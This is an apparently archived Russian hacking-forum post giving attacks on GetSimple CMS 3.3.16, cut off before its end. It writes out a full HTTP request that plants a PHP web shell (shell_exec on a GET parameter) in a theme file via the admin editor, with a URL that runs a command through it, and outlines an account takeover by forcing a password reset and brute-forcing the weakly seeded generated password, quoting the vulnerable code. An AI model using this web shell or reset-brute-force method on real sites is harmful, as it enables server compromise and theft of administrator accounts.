PDA

Просмотр полной версии : GetSimple CMS


Baskin-Robbins
24.05.2021, 01:59
Сайт - get-simple.info

Версия 3.3.16

RCE

Зависимости:

-- доступ в админ панель

Легальная возможность редактирования php файлов шаблонов, создания новых файлов.

Можно внедрить наш бэкдор в используемый файл шаблона или залить свой скрипт.

admin/theme-edit.php


PHP:
if((isset($_POST['submitsave']))){

# check for csrf
if (!defined('GSNOCSRF') || (GSNOCSRF==FALSE) ) {
$nonce=$_POST['nonce'];
if(!check_nonce($nonce,"save")) {
die("CSRF detected!");
}
}

# save edited template file
$SavedFile=$_POST['edited_file'];
$FileContents=get_magic_quotes_gpc() ?stripslashe s($_POST['content']) :$_POST['content'];
$fh=fopen(GSTHEMESPATH.$SavedFile,'w') or die("can't open file");
fwrite($fh,$FileContents);
fclose($fh);
$success=sprintf(i18n_r('TEMPLATE_FILE'),$SavedFil e);
}



Запрос:


Code:
POST /admin/theme-edit.php?t=Innovation&f=template.php HTTP/1.1
Host: getsimple.localhost.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://getsimple.localhost.com/admin/theme-edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
DNT: 1
Connection: close
Cookie: PHPSESSID=9l7pual53vbi1opd9meggoc27a; GS_ADMIN_USERNAME=admin; 5a061daedaddfec9e0820c8dce27a6de1c13955d=116ff4110 b64f75d4aff43dc1e8d03994ca2205c
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

nonce=d6905d38e91254022db24285cdd5598b82a0376f&content=%3C%3Fphp+echo+shell_exec($_GET['a']);+%3F%3E&edited_file=Innovation%2Ftemplate1.php&submitsave=Save+Changes



Code:
http://getsimple.localhost.com/theme/Innovation/template1.php?a=ls


Auth bypass

Зависимости:

-- Необходимо знать/угадать логин админа

Восстанавливаем пароль -> брутим его. Пароль будет всегда в нашем списке из 1кк.

Более подробно - /threads/483845/ (https://antichat.live/threads/483845/)

Уязвимый код:

admin/resetpassword.php


PHP:
if(strtolower($_POST['username']) ==$USR) {
# create new random password
$random=createRandomPassword();
// $random = '1234';

# create backup
createBak($file,GSUSERSPATH,GSBACKUSERSPATH);

# create password change trigger file
$flagfile=GSUSERSPATH._id($USR).".xml.reset";
copy(GSUSERSPATH.$file,$flagfile);

# change password and resave xml file
$data->PWD=passhash($random);
$status=XMLsave($data,GSUSERSPATH.$file);

# send the email with the new password
$subject=$site_full_name.' '.i18n_r('RESET_PASSWO RD') .' '.i18n_r('ATTEMPT');
$message="".cl($SITENAME) ." ".i18n_r('RESET_PASSWORD') ." ".i18n_r('ATTEMPT').'';
$message.="".i18n_r('LABEL_USERNAME').": ".$USR."";
$message.="
".i18n_r('NEW_PASSWORD').": ".$random."";
$message.='
'.i18n_r('EMAIL_LOGIN') .': '.$SITEURL.$GSADMIN. '/';
exec_action('resetpw-success');
$status=sendmail($EMAIL,$subject,$message);



admin/inc/template_functions.php

[PHP]
PHP:
[COLOR="#0000BB"]functioncreateRandomPassword() {
$chars="Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVW vw56789";
srand((double)microtime()*1000000);
$i=0;
$pass='';
while ($i[COLOR="#007700"]

Снаружи все это выглядит вот так: